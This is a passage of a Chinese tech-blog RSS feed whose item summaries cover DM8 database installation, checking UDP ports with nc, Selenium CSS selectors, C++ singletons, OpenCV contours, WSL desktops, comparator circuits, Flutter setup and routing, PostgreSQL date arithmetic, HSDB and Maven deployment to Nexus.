      <description>数据库软件安装 安装包解压 Windows环境：Windows环境中，如果安装包不是.exe的格式，而是压缩包，需要先对压缩包进行解压，右键解压缩即可。&#xA;Linux环境：iso后缀的文件，需要对文件进行挂载，命令如下：&#xA;mount -o loop /opt/dmsetup/dm8_20220305_x86_kylin10_64_ent_8.1.2.114.iso /opt/dmsetup/&#xA;Windows环境安装 运行安装程序 解压后，双击“setup.exe”安装程序后可根据系统配置选择相应语言与时区，点击“确定”按钮继续安装。&#xA;欢迎页面 点击“下一步”，开始安装&#xA;许可证协议 在安装和使用之前，该安装程序需要用户阅读许可协议条款，用户如接受该协议，则选中“接受”，并点击“下一步”继续安装；用户若选中“不接受”，将无法进行安装。&#xA;验证Key文件 点击“浏览”按钮，选取Key文件，安装程序将自动验证Key文件信息。如果是合法的Key文件且在有效期内，用户可以点击“下一步”继续安装。&#xA;选择安装组件 数据库软件安装程序提供四种安装方式：“典型安装”、“服务器安装”、“客户端安装”和“自定义安装”，用户可根据实际情况灵活地选择。&#xA;一般情况下给客户安装需要去掉服务器和数据库服务&#xA;选择安装目录 根据前期规划，指定安装路径。安装路径里的目录名由英文字母、数字和下划线等组成，不建议使用包含空格和中文字符的路径等。&#xA;安装前小结 显示即将进行的安装的有关信息，例如产品名称、版本信息、安装类型、安装目录、可用空间、可用内存等信息，用户检查无误后点击“安装”按钮进行软件的安装&#xA;完成安装 点击“完成”，完成数据库安装。&#xA;Linux环境安装-命令行 先切换到dmdba用户&#xA;执行安装命令 在终端进入到安装程序所在文件夹，执行以下命令行安装：&#xA;[dmdba@~]# /opt/dmsetup/DMInstall.bin -i 选择安装语言 根据系统配置选择相应语言，输入选项，回车进行下一步。如下所示： 请选择安装语言(C/c:中文 E/e:英文) [C/c]：C 解压安装程序.......... 欢迎使用达梦数据库安装程序 验证key文件 可以选择是否输入Key文件路径。不输入则进入下一步安装，输入Key文件路径，安装程序将显示Key文件的详细信息，如果是合法的Key文件且在有效期内，可以继续安装。如下所示：&#xA;是否输入Key文件路径? (Y/y:是 N/n:否) [Y/y]：Y 请输入Key文件的路径地址 [dm.key]：/opt/dmsetup/dm.key 有效日期: 2020-12-25 服务器颁布类型: 企业版 发布类型: 试用版 用户名称: 武汉达梦公司疫情期间临时授权 授权用户数: 无限制 并发连接数: 无限制 输入时区 可以选择的时区信息。如下所示：&#xA;是否设置时区? (Y/y:是 N/n:否) [Y/y]:Y 设置时区: [ 1]: GTM-12=日界线西 [ 2]: GTM-11=萨摩亚群岛 [ 3]: GTM-10=夏威夷 [ 4]: GTM-09=阿拉斯加 [ 5]: GTM-08=太平洋时间（美国和加拿大） [ 6]: GTM-07=亚利桑那 [ 7]: GTM-06=中部时间（美国和加拿大） [ 8]: GTM-05=东部部时间（美国和加拿大） [ 9]: GTM-04=大西洋时间（美国和加拿大） [10]: GTM-03=巴西利亚 [11]: GTM-02=中大西洋 [12]: GTM-01=亚速尔群岛 [13]: GTM=格林威治标准时间 [14]: GTM+01=萨拉热窝 [15]: GTM+02=开罗 [16]: GTM+03=莫斯科 [17]: GTM+04=阿布扎比 [18]: GTM+05=伊斯兰堡 [19]: GTM+06=达卡 [20]: GTM+07=曼谷，河内 [21]: GTM+08=中国标准时间 [22]: GTM+09=汉城 [23]: GTM+10=关岛 [24]: GTM+11=所罗门群岛 [25]: GTM+12=斐济 [26]: GTM+13=努库阿勒法 [27]: GTM+14=基里巴斯 请选择设置时区 [21]:21 选择安装类型 数据库软件安装程序提供四种安装方式：“典型安装”、“服务器安装”、“客户端安装”和“自定义安装”，用户可根据实际情况灵活地选择。生产环境可以根据实际需求选择，一般情况下选择&#34;</description>
    </item>
    <item>
      <title>验证UDP端口是否开放</title>
      <link>https://bchobby.github.io/posts/b074340aad850889a5544d5925253c72/</link>
      <pubDate>Thu, 29 Sep 2022 14:50:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b074340aad850889a5544d5925253c72/</guid>
      <description>由于业务所需，要用UDP对接对方主机的一个端口，正常情况下我们大家都会想到telnet，但是在实际中使用会发现无法测试通过UDP开的端口会提示超时或失败。&#xA;这时候可以使用nc命令来进行验证，如下：&#xA;[root@test1 ~]# nc -uvz 192.168.0.125 111&#xA;Ncat: Version 7.50 ( https://nmap.org/ncat )&#xA;Ncat: Connected to 192.168.0.125:111.&#xA;Ncat: UDP packet sent successfully&#xA;Ncat: 1 bytes sent, 0 bytes received in 2.04 seconds.&#xA;这就是代表成功了&#xA;找到了一个比较好的对于nc命令的介绍的文章，分享下&#xA;https://blog.csdn.net/GNNUXXL/article/details/122299540</description>
    </item>
    <item>
      <title>selenium中的CSS定位</title>
      <link>https://bchobby.github.io/posts/ef3c8f6ca320bac90a9dc6d193632706/</link>
      <pubDate>Thu, 29 Sep 2022 14:43:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef3c8f6ca320bac90a9dc6d193632706/</guid>
      <description>CSS是一种语言，它被用来描述HTML和XML文档的表现。CSS使用选择器来为页面元素绑定属性。这些选择器可以被selenium用作另外的定位策略。&#xA;CSS选择器的常见语法：&#xA;语法说明*通用元素选择器，匹配任何元素E标签选择器，匹配所有使用 E 标签的元素.info class选择器，匹配所有 class 属性中包含 info 的元素#footerid 选择器，匹配所有 id 属性等于 footer 的元素E,F多元素选择器，同时匹配所有 E 元素或 F 元素，E 和 F 之间用逗号分隔E F后代元素选择器，匹配所有属于 E 元素后代的 F 元素，E 和 F 之间用空格分隔E &amp;gt; F子元素选择器，匹配所有 E 元素的子元素 FE + F毗邻元素选择器，匹配紧随 E 元素之后的同级元素 F （只匹配第一个）E ~ F同级元素选择器，匹配所有在 E 元素之后的同级 F 元素E[att=‘val’]属性 att 的值为 val 的 E 元素 （区分大小写）E[att^=‘val’]属性 att 的值以 val 开头的 E 元素 （区分大小写）E[att$=‘val’]属性 att 的值以 val 结尾的 E 元素 （区分大小写）E[att*=‘val’]属性 att 的值包含 val 的 E 元素 （区分大小写）E[att1=‘v1’][att2*=‘v2’]属性 att1 的值为 v1，att2 的值包含 v2 （区分大小写）E:contains(‘xxxx’)内容中包含 xxxx 的 E 元素E:not(s)匹配不符合当前选择器的任何元元素 代码例子：</description>
    </item>
    <item>
      <title>python：No matching distribution found for pprint</title>
      <link>https://bchobby.github.io/posts/968df1a1e0b1ce76edad0f666b521582/</link>
      <pubDate>Thu, 29 Sep 2022 14:37:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/968df1a1e0b1ce76edad0f666b521582/</guid>
      <description>安装某模块出现问题：&#xA;不知道为什么这个模块安装总是有问题，其他帖子说可以换源试试。&#xA;然后换了一个安装的地址：&#xA;结果还是不行，报错了。。&#xA;后来发现要用https…（贴上正确的代码&#xA;下面展示一些 正确的代码。&#xA;pip install pandas -i https://pypi.douban.com/simple pandas 可换你想要的包 o.o&#xA;又是踩坑的一天呢</description>
    </item>
    <item>
      <title>C&#43;&#43;单例模式的几种实现</title>
      <link>https://bchobby.github.io/posts/161e4d5b31a66e1503dc3653bde3dabf/</link>
      <pubDate>Thu, 29 Sep 2022 14:36:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/161e4d5b31a66e1503dc3653bde3dabf/</guid>
      <description>单例模式(Singleton Pattern)的概念 模式定义 保证一个类仅有一个实例，并提供一个访问它的全局访问点。&#xA;饿汉单例和懒汉单例 常见的单例模式有两个分支，饿汉单例和懒汉单例。&#xA;饿汉单例是指在程序初始化时就把单例对象创建出来。其优点是当要使用对象时可以直接获取，缺点是无论对象有没有被调用，都会被创建出来占据内存。懒汉单例是指当单例对象第一次被调用时才创建对应对象。其优点是不被调用的对象将不被创建，缺点是创建对象时会花费较多的时间，导致第一次调用的特殊性，且对象创建时是线程不安全的。 使用建议：&#xA;应当采用饿汉单例，将单例对象的初始化直接放在主线程的开头位置执行。&#xA;这样做有很多好处，首先保证创建对象时不会产生竞争条件(race condition)，使得代码编写起来简单、清晰（如果不在主线程创建好，则要考虑多个线程同时创建对象，此时需要通过互斥量等手段加以限制，虽然C++11的static关键字可以确保只创建一个对象，但依然不推荐这么使用）；其次可以保证获取对象的时间是固定的，不会像懒汉模式那样第一次调用会花费额外的时间。&#xA;单例模式的实现 1、最基本的饿汉单例模式的实现 #include &amp;lt;iostream&amp;gt; class SingletonClass { public: //单例对象的全局访问点 static SingletonClass* getInstance() { if (m_pInstance == nullptr) { m_pInstance = new SingletonClass(); return m_pInstance; } std::cout &amp;lt;&amp;lt; &#34;对象的地址为 &#34; &amp;lt;&amp;lt; m_pInstance &amp;lt;&amp;lt; std::endl; return m_pInstance; } //销毁单例对象 static void destoryInstance() { delete m_pInstance; //即使单例对象没有被真正创建，但在定义时为其赋值nullptr了，因此直接delete是不会存在问题的 m_pInstance = nullptr; return; } private: //构造函数 SingletonClass() { std::cout &amp;lt;&amp;lt; &#34;SingletonClass的单例对象被创建&#34; &amp;lt;&amp;lt; std::endl; } //析构函数 ~SingletonClass() { std::cout &amp;lt;&amp;lt; &#34;</description>
    </item>
    <item>
      <title>OpenCV——图像轮廓</title>
      <link>https://bchobby.github.io/posts/9f9c43039fe0f5e1a351994ac18dcd27/</link>
      <pubDate>Thu, 29 Sep 2022 13:27:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9f9c43039fe0f5e1a351994ac18dcd27/</guid>
      <description>我们的目标：&#xA;能够掌握轮廓查找与绘制的方法&#xA;能够掌握轮廓面积及长度的计算方法&#xA;能够编程实现形状匹配&#xA;能够掌握轮廓的几何形状拟合方法&#xA;任务一 凸包绘制 案例一 获取凸包 import cv2&#xA;# 读取图片并转至灰度模式&#xA;img = cv2.imread(&#39;contours2.png&#39;, 1)&#xA;gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)&#xA;# 二值化&#xA;ret, binary = cv2.threshold(gray, 127, 255, cv2.THRESH_BINARY)&#xA;# 图片轮廓&#xA;contours, hierarchy = cv2.findContours(binary,cv2.RETR_LIST,cv2.CHAIN_APPROX_NONE)&#xA;cnt = contours[0]&#xA;# 寻找凸包并绘制凸包（轮廓）&#xA;hull = cv2.convexHull(cnt)&#xA;cv2.polylines(img,[hull],True,(255,0,0),2)&#xA;# 显示图片&#xA;cv2.imshow(&#39;line&#39;, img)&#xA;cv2.waitKey()&#xA;cv2.destroyAllWindows()&#xA;练习：实物凸包检测 import cv2&#xA;# 读取图片并转至灰度模式&#xA;img = cv2.imread(&#39;hand.png&#39;, 1)&#xA;gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)&#xA;# 二值化&#xA;ret, binary = cv2.</description>
    </item>
    <item>
      <title>WSL安装桌面面并通过XLaunch访问</title>
      <link>https://bchobby.github.io/posts/698b6d3cf0d14557ba7fa95e70921c39/</link>
      <pubDate>Thu, 29 Sep 2022 13:03:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/698b6d3cf0d14557ba7fa95e70921c39/</guid>
      <description>参考&#xA;为什么需要桌面 有些时候，使用图形界面可以方便我们的开发（比如使用cmake-gui），所以为WSL安装图形界面是有实际价值的，并且可以通过XLaunch远程连接桌面。&#xA;安装过程 1、安装XLaunch&#xA;XLaunch&#xA;直接默认安装即可。&#xA;2、WSL安装必要软件&#xA;//先更新apt-get sudo apt-get update &amp;amp;&amp;amp; sudo apt-get upgrade -y //安装XFCE桌面环境 sudo apt-get install xfce4 -y //将必要软件安装到XFCE桌面 sudo apt-get install xfce4-goodies -y 3、配置X-Launch&#xA;打开X-Launch软件，选择One large window, Display number选择0&#xA;然后就是疯狂的下一步，直到出现黑色窗口。&#xA;4、为WSL添加环境变量&#xA;//这个0和Display number选择0 是对应的 export DISPLAY=localhost:0 //要更新下环境变量才能立即生效 source /etc/profile //打开xfce4,以后每次使用时需要输入此命令 startxfce4 成功打开之后之前的黑色屏幕上就会变成xfce4桌面环境。如下图所示&#xA;之后每次使用，只要先进行第3步，再进行第4步即可。</description>
    </item>
    <item>
      <title>比较器和运算放大器</title>
      <link>https://bchobby.github.io/posts/db9556c257b20aea03f3a16a56b07e9e/</link>
      <pubDate>Thu, 29 Sep 2022 12:55:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/db9556c257b20aea03f3a16a56b07e9e/</guid>
      <description>比较器概念 比较器是通过比较两个输入端的电流或电压的大小，在输出端输出不同电压结果的一种电子元件。&#xA;输入端接的是模拟信号，输出端输出是的数字信号（0和1），所以输出的信号要么是高电平要么就是低电平。&#xA;比较器原理 因为运放开路增益非常大，两个输入端就算是微小的差异，也会获得极大的输出，导致输出直接饱和（saturation）的状态&#xA;选择其中一个输入端作为参考点（REF)来进行比较，（如下图），选择反相输入端作为参考，当正相端V1大于V2时，Vout输出高电平，当V1小于V2时，Vout输出低电平。&#xA;看下比较器的Datasheet(规格书），下图是LM339的输出端的电路结构，内部方框图:&#xA;图中我们可以看出比较器的输出端是个OC门，也就是说它的集电极是开路的，这样大家应该就知道前面说的高低电平如何确定了吧，OC输出也就是说它的集电极是悬空的，它的上面需要接一个上拉电阻，如下图所示：&#xA;（OC输出：即OC门，又称集电极开路门，Open Collector，是集电极开路的一种输出结构）&#xA;从上图可以看出，假如输出的是一个高电平，那么这个高电平就是等于上拉电阻R1的VCC电压，低电平电压就是等于地（0V）。&#xA;即：当V1大于V2时，Vout输出高电平，多高吗？等于15V;&#xA;当V1小于V2时，Vout输出低电平，多低吗？等于0V;&#xA;所以，可以根据自已实际设计的电路需要来选择合适的上拉电压VCC，从而来达到输出高电平的一个电压；例如需要输出5V则将输出端上拉到5V，而低电平则由比较器的地（GND)决定，这就涉及比较器的单电源还是双电源供电问题了，低电平电压就等于比较器的负电源电压。&#xA;单电源供电（如下图）&#xA;双电源供电（如下图）&#xA;从单电源和双电源的供电方式对比我们知道，单电源负电压供电是接地的；而双电源它是接了一个负压的；&#xA;所以，综上所述：当你不需要输出负电压时，就选择单电源供电，如果你需要输出负电压时就选择双电源供电。&#xA;02总结：&#xA;1、根据输出是否需要负电压来选择供电方式（不需要负压选择单电源供电，需要负压选择双电源供电）。&#xA;2、当比较器正相输入端电压大于反相输入端电压时，输出为高电平。&#xA;3、当比较器正相输入端电压小于反相输入端电压时，输出为低电平。&#xA;单限比较器 我们可以将某一个输入端连接参考电压UREF，另一端连接待测电压uI，即可比较参考电压与待测电压的大小。参考电压就是输出电压由高电平变为低电平，或者由低电平变为高电平跃变的阈值。此电路只存在一个阈值电压，被称为单限比较器。&#xA;图 两种单限比较器与电压传输特性&#xA;滞回比较器 在单限比较器中，输入电压在阈值电压附近的任何微小变化，都会引起输出电压的跃变。不管这种微小变化是来源于输入电压还是来源于外部干扰。因此，虽然单限比较器很灵敏，但是抗干扰能力差。在单限比较器中加入正反馈，反相输入端接输入电压，可以做成滞回比较器。它具有惯性，看上去反应比较“慢”，对微小变化不敏感，有一定的抗干扰能力，因此称为滞回比较器。&#xA;比较器和运算放大器的区别 从内部图可以看出运算放大器和比较器的差别在于输出电路。运算放大器采用双晶体管推挽输出，而比较器只用一只晶体管，集电极连到输出端，发射极接地。&#xA;比较器需要外接一个从正电源端到输出端的上拉电阻，该上拉电阻相当于晶体管的集电极电阻。&#xA;运算放大器可用于线性放大电路（负反馈），也可用于非线性信号电压比较（开环或正反馈）。&#xA;电压比较器只能用于信号电压比较，不能用于线性放大电路（比较器没有频率补偿） 。&#xA;两者都可以用于做信号电压比较，但比较器被设计为高速开关，它有比运算放大器更快的转换速率和更短的延时。&#xA;运放和电压比较器的本质区别 （1）放大器与比较器的主要区别是闭环特性! 放大器大都工作在闭环状态,所以要求闭环后不能自激 . 而比较器大都工作在开环状态更追求速度 . 对于频率比较低的情况放大器完全可以代替比较器(要主意输出电平),反过来比较器大部分情况不能当作放大器使用 .&#xA;（2）比较器就是运放的开环应用 但比较器的设计是针对电压门限比较而用的，要求的比较门限精确，比较后的输出边沿上升或下降时间要短，输出符合 TTL/CMOS 电平 / 或 OC 等，不要求中间环节的准确度，同时驱动能力也不一样。一般情况：用运放做比较器，多数达不到满幅输出，或比较后的边沿时间过长，因此设计中少用运放做比较器为佳。&#xA;运放和比较器的区别 比较器和运放虽然在电路图上符号相同，但这两种器件确有非常大的区别，一般不可以互换，区别如下: 1、比较器的翻转速度快，大约在 ns 数量级，而运放翻转速度一般为 us 数量级(特殊的高速运放除外)。&#xA;2、运放可以接入负反馈电路，而比较器则不能使用负反馈，虽然比较器也有同相和反相两个输入端，但因为其内部没有相位补偿电路，所以，如果接入负反馈，电路不能稳定工作。内部无相位补偿电路，这也是比较器比运放速度快很多的主要原因。&#xA;3、运放输出级一般采用推挽电路，双极性输出。而多数比较器输出级为集电极开路结构，所以需要上拉电阻，单极性输出，容易和数字电路连接。&#xA;（3）比较器(LM339 和 LM393)输出是集电极开路(OC)结构, 需要上拉电阻才能有对外输出电流的能力 . 而运放输出级是推挽的结构, 有对称的拉电流和灌电流能力 . 另外比较器为了加快响应速度, 中间级很少, 也没有内部的频率补偿 .</description>
    </item>
    <item>
      <title>Flutter入门-Flutter配置</title>
      <link>https://bchobby.github.io/posts/a9312c140cc82dc90565cb635539ef99/</link>
      <pubDate>Thu, 29 Sep 2022 11:53:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9312c140cc82dc90565cb635539ef99/</guid>
      <description>Flutter配置 后续会持续补充更新…&#xA;修改Android SDK配置 1、全局修改&#xA;比如我的Flutter3.3.0，适配的android构建版本是31，兼容版本是16～31。&#xA;如果想要修改最低兼容版本，找到该文件进行修改，注意，这种修改是应用到全局的，也就是说我们以后新建的所有flutter项目都是按照这个来构建生产android代码的。&#xA;2、针对性修改&#xA;如果我们只针对某个项目，修改兼容版本，可以在生成的gradle文件中进行修改。&#xA;建议针对性的修改。</description>
    </item>
    <item>
      <title>Python:利用if-elif编写一个逢7拍手的小游戏（附带知识点&#43;详细注释）初学python的小伙伴快点看过来</title>
      <link>https://bchobby.github.io/posts/5e41dd3e6e803e2069ed9e795385ec77/</link>
      <pubDate>Wed, 28 Sep 2022 22:59:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5e41dd3e6e803e2069ed9e795385ec77/</guid>
      <description> 条件： 1.1~100之间的数字 2.是否是7的倍数/包含7 3.判断是否是7的倍数 代码： #知识点 #1.range()可以创建一个整数列表，一般用于for循环当中 #2.if-elif语句： #if 判断条件： # 代码段1 #elif: # 代码段2 for i in range(1,101): if &#34;7&#34; in str(i) or i%7==0: print(&#34;*&#34;,end=&#34;、&#34;) elif &#34;7&#34; not in str(i) and i%7!=0: print(i,end=&#34;、&#34;) </description>
    </item>
    <item>
      <title>postgresql 计算时间差的秒数、天数</title>
      <link>https://bchobby.github.io/posts/4eef517508db4825297835327fc9c0d9/</link>
      <pubDate>Wed, 28 Sep 2022 21:16:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4eef517508db4825297835327fc9c0d9/</guid>
      <description> 处理时间时用到了，记录一下。&#xA;时间差天数 select &#39;2017-12-10&#39;::date - &#39;2017-11-01&#39;::date; 时间差秒数 select extract(epoch FROM (now() - (now()-interval &#39;1 day&#39;) )); select trunc(extract(epoch FROM (now() - (now()-interval &#39;1 day&#39;) ))::numeric); select trunc(extract(epoch FROM (now() - (now()-interval &#39;1 day&#39;) ))::numeric,1); select round(extract(epoch FROM (now() - (now()-interval &#39;1 day&#39;) ))::numeric); select round(extract(epoch FROM (now() - (now()-interval &#39;1 day&#39;) ))::numeric,1); </description>
    </item>
    <item>
      <title>使用JVM工具：HSDB查看动态代理生成的代理类</title>
      <link>https://bchobby.github.io/posts/3733047a7e655768d7f856c158bb3cbd/</link>
      <pubDate>Wed, 28 Sep 2022 21:01:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3733047a7e655768d7f856c158bb3cbd/</guid>
      <description>利用JVM工具：HSDB查看动态代理类对象的实现：既可以看jdk生成的动态代理对象，也可以查看cglib生成的动态代理对象。&#xA;1. 获取PID&#xA;断点，运行项目获取&#xA;在获取动态代理类处设置断点，使用jps获取PID，我的PID为：3755 2. 执行命令，获取HSDB（HostSpot Debugger）工具：&#xA;java -classpath &#34;%JAVA_HOME%/lib/sa-jdi.jar&#34; sun.jvm.hotspot.HSDB 说明：执行上面语句可能报如下错误：&#xA;错误: 找不到或无法加载主类 sun.jvm.hotspot.HSDB 这个时候，请找到sa-jdi.jar的文件路径，使用全路径执行，比如我执行权路径的语句为：&#xA;java -classpath &#34;/Library/Java/JavaVirtualMachines/jdk1.8.0_321.jdk/Contents/Home/lib/sa-jdi.jar&#34; sun.jvm.hotspot.HSDB 3. 将PID填入HSDB工具&#xA;4.获取代理对象&#xA;查看代理对象地址，可以看到此处为$Proxy228@24671，取@前面的值：$Proxy228&#xA;使用HSDB搜索此对象：&#xA;5. 生成代理对象&#xA;6.查看生成的代理对象&#xA;生成的对象一般位于项目的classpath路径下，实在找不到，全磁盘搜索Proxy关键词。即可找到：&#xA;参考：&#xA;填坑之动态代理生成的代理类文件在哪？_Genterator的博客-CSDN博客_动态代理生成的类在哪里&#xA;找不到或无法加载主类 sun.jvm.hotspot.HSDB_普通网友的博客-CSDN博客</description>
    </item>
    <item>
      <title>maven推送本地jar包到nexus仓库遇到的问题</title>
      <link>https://bchobby.github.io/posts/62a8c25a91c843beb97e17c00d7876a7/</link>
      <pubDate>Wed, 28 Sep 2022 20:06:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62a8c25a91c843beb97e17c00d7876a7/</guid>
      <description>场景：&#xA;今天使用jenkins打包镜像时，发现其中一个jar包私服仓库没有，本地是有的，因此遇到如何从本地向nexus仓库推送的问题（之前没有推过现在遇到一些坑特此记录一下）&#xA;问题：&#xA;如何正确地从本地向nexus仓库推送jar包&#xA;目标：&#xA;将本地的 latform-rulesengine-client 的jar包推送到nexus上 &amp;lt;dependency&amp;gt;&#xA;&amp;lt;groupId&amp;gt;com.gisquest.cloud&amp;lt;/groupId&amp;gt;&#xA;&amp;lt;artifactId&amp;gt;platform-rulesengine-client&amp;lt;/artifactId&amp;gt;&#xA;&amp;lt;version&amp;gt;1.0.7-YWDZ-SNAPSHOT&amp;lt;/version&amp;gt;&#xA;&amp;lt;/dependency&amp;gt; 网上搜索了解决方案：&#xA;mvn deploy:deploy-file -DgroupId=com.gisquest.cloud -DartifactId=platform-rulesengine-client -Dversion=1.0.7-YWDZ-SNAPSHOT -Dpackaging=jar -Dfile=C:\Users\Administrator\Desktop\tui\platform-rulesengine-client-1.0.7-YWDZ-SNAPSHOT.jar -Durl=http://192.168.11.70:8081/nexus/content/groups/public/ -DrepositoryId=nexus 注解：&#xA;-DgroupId 、-DartifactId、-Dversion分别和该包的坐标依赖相对应&#xA;-Dpackaging：表示准备推到nexus上包的类型&#xA;-Dfile ：表示要从本地推到nexus上包的绝对路径(重要)&#xA;-Durl： 表示私服仓库的地址(重要)&#xA;-DrepositoryId：表示私服仓库对应的唯一id&#xA;我本地pom.xml的配置如下(maven中setting.xml文件中私服的url都是一样的)：&#xA;&amp;lt;!-- 设定主仓库，按设定顺序进行查找。 --&amp;gt; &amp;lt;repositories&amp;gt; &amp;lt;repository&amp;gt; &amp;lt;id&amp;gt;nexus&amp;lt;/id&amp;gt; &amp;lt;name&amp;gt;nexus&amp;lt;/name&amp;gt; &amp;lt;url&amp;gt;http://192.168.11.70:8081/nexus/content/groups/public/&amp;lt;/url&amp;gt; &amp;lt;releases&amp;gt; &amp;lt;enabled&amp;gt;true&amp;lt;/enabled&amp;gt; &amp;lt;/releases&amp;gt; &amp;lt;snapshots&amp;gt; &amp;lt;enabled&amp;gt;true&amp;lt;/enabled&amp;gt; &amp;lt;/snapshots&amp;gt; &amp;lt;/repository&amp;gt; &amp;lt;/repositories&amp;gt; 按理说执行上面推动命令应该就可以了，但是执行后发现报错了提示如下错误400 Bad Request 路径找不到：&#xA;at org.codehaus.plexus.classworlds.launcher.Launcher.main (Launcher.java:347) Caused by: org.eclipse.aether.deployment.DeploymentException: Failed to deploy artifacts: Could not transfer artifact com.gisquest.cloud:platform-rulesengine-client:jar:1.0.7-YWDZ-20220928.030757-1 from/to nexus (http://192.</description>
    </item>
    <item>
      <title>Flutter入门-环境搭建</title>
      <link>https://bchobby.github.io/posts/2a8407588722e5a9707d455b458d5519/</link>
      <pubDate>Wed, 28 Sep 2022 16:44:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a8407588722e5a9707d455b458d5519/</guid>
      <description>概述 Flutter简介 Flutter中文网&#xA;Flutter是谷歌的移动UI框架，可以快速在iOS和Android上构建高质量的原生用户界面。 Flutter可以与现有的代码一起工作。在全世界，Flutter正在被越来越多的开发者和组织使用，并且Flutter是完全免费、开源的。&#xA;特点：&#xA;快速开发。毫秒级的热重载，修改后，您的应用界面会立即更新。使用丰富的、完全可定制的widget在几分钟内构建原生界面。Flutter的热重载可帮助您快速地进行测试、构建UI、添加功能并更快地修复错误。在iOS和Android模拟器或真机上可以在亚秒内重载，并且不会丢失状态。&#xA;富有表现力和灵活的UI。快速发布聚焦于原生体验的功能。分层的架构允许您完全自定义，从而实现难以置信的快速渲染和富有表现力、灵活的设计。使用Flutter内置美丽的Material Design和Cupertino（iOS风格）widget、丰富的motion API、平滑而自然的滑动效果和平台感知，为您的用户带来全新体验。&#xA;原生性能。Flutter包含了许多核心的widget，如滚动、导航、图标和字体等，这些都可以在iOS和Android上达到原生应用一样的性能。使用Flutter的现代、响应式框架，和一系列基础widget，轻松构建您的用户界面。使用功能强大且灵活的API（针对2D、动画、手势、效果等）解决艰难的UI挑战。通过平台相关的API、第三方SDK和原生代码让您的应用变得强大易用。 Flutter允许您复用现有的Java、Swift或ObjC代码，访问iOS和Android上的原生系统功能和系统SDK。&#xA;统一的应用开发体验。Flutter拥有丰富的工具和库，可以帮助您轻松地同时在iOS和Android系统中实现您的想法和创意。 如果您没有任何移动端开发体验，Flutter是一种轻松快捷的方式来构建漂亮的移动应用程序。 如果您是一位经验丰富的iOS或Android开发人员，则可以使用Flutter作为视图(View)层， 并可以使用已经用Java / ObjC / Swift完成的部分（Flutter支持混合开发）。&#xA;环境搭建 须知 1、Flutter开发环境支持&#xA;WindowsMacLinux 2、跨平台&#xA;Android，推荐使用真机作为开发设备，或者夜神模拟器，Android Studio的模拟器太卡，如果是Mac电脑，还可以使用Xcode模拟器，挺快的。iOS，开发阶段可以使用Android设备切换iOS运行效果，不是说非要有iOS设备。WIndowMacChrome Web小程序，不太建议，存在很多问题但是也有一些大厂解决方案，个人觉得还不如直接进行小程序开发。 3、开发工具选择&#xA;推荐使用VSCode作为主要开发工具，占用内存小，速度快。有时处理一些问题，可能还是需要使用Android Studio和Xcode作为辅助开发工具，分别调试android部分代码和iOS部分代码，比如百度地图集成。&#xA;4、参考资料&#xA;入门：在macos上搭建Flutter开发环境如何在没有 Mac 的情况下使用 Flutter 和 Codemagic 构建和分发 iOS 应用快让Flutter应用跑Mac上,能让Flutter应用运行在Mac OS和Windows上的平台 5、其它&#xA;Flutter使用Dart作为开发语言，需要提前学习Dart语言。 Mac搭建 搭建Flutter开发环境 参考：&#xA;入门: 在macOS上搭建Flutter开发环境 1、下载Flutter SDK&#xA;下载后解压到自己的工作目录下。&#xA;2、配置环境变量&#xA;# flutter export PUB_HOSTED_URL=https://pub.flutter-io.cn export FLUTTER_STORAGE_BASE_URL=https://storage.flutter-io.cn export PATH=$PATH:/Users/zhusheng/flutter/flutter3.3.0/bin 3、检查环境&#xA;正常情况下，缺少的就是Android Studio和Xcode，我们至少要安装一个，方便调试移动端代码。&#xA;4、安装VSCode&#xA;使用VSCode作为IDE，并安装一些插件，我的插件列表如下：&#xA;配置Xcode，我关于Dar的配置如下：&#xA;{ &#34;[dart]&#34;: { &#34;</description>
    </item>
    <item>
      <title>Flutter入门-路由</title>
      <link>https://bchobby.github.io/posts/7b29b4429741451afe91719e5533a405/</link>
      <pubDate>Wed, 28 Sep 2022 16:28:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7b29b4429741451afe91719e5533a405/</guid>
      <description>路由 Flutter使用路由来定义页面之间的跳转，类似Vue。Flutter使用Navigator组件来管理路由导航。&#xA;方法：&#xA;Navigator.push，跳转Navigator.pop， 返回上一级，如果是对话框，会关闭对话框。 普通路由 使用场景：在一些小型项目中推荐使用。&#xA;核心代码 跳转&#xA;Navigator.of(context).push(MaterialPageRoute( builder: (context) =&amp;gt; const SearchPage(), )); //传值 Navigator.of(context).push(MaterialPageRoute( builder: (context) =&amp;gt; FormPage(title: &#34;我是传递过来的值&#34;), )); 返回或关闭&#xA;Navigator.of(context).pop(); 演示案例 1、主页面&#xA;class HomePage extends StatefulWidget { const HomePage({super.key}); @override State&amp;lt;HomePage&amp;gt; createState() =&amp;gt; _HomePageState(); } class _HomePageState extends State&amp;lt;HomePage&amp;gt; { @override Widget build(BuildContext context) { return Column( children: [ //按钮1，使用漂浮按钮，设置点击事件，点击的时候，push到另一个页面 ElevatedButton( onPressed: () { Navigator.of(context).push(MaterialPageRoute( builder: (context) =&amp;gt; const SearchPage(), )); }, child: const Text(&#39;跳转到搜索页面&#39;)), //按钮2，跳转传值，通过构造函数传值。 ElevatedButton( onPressed: () { Navigator.</description>
    </item>
    <item>
      <title>(vue)vue项目Error: Cannot find module ‘xxx’类报错的解决方法</title>
      <link>https://bchobby.github.io/posts/a0dbfe92bde0fe55a5e76b833457a0ef/</link>
      <pubDate>Wed, 28 Sep 2022 16:19:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a0dbfe92bde0fe55a5e76b833457a0ef/</guid>
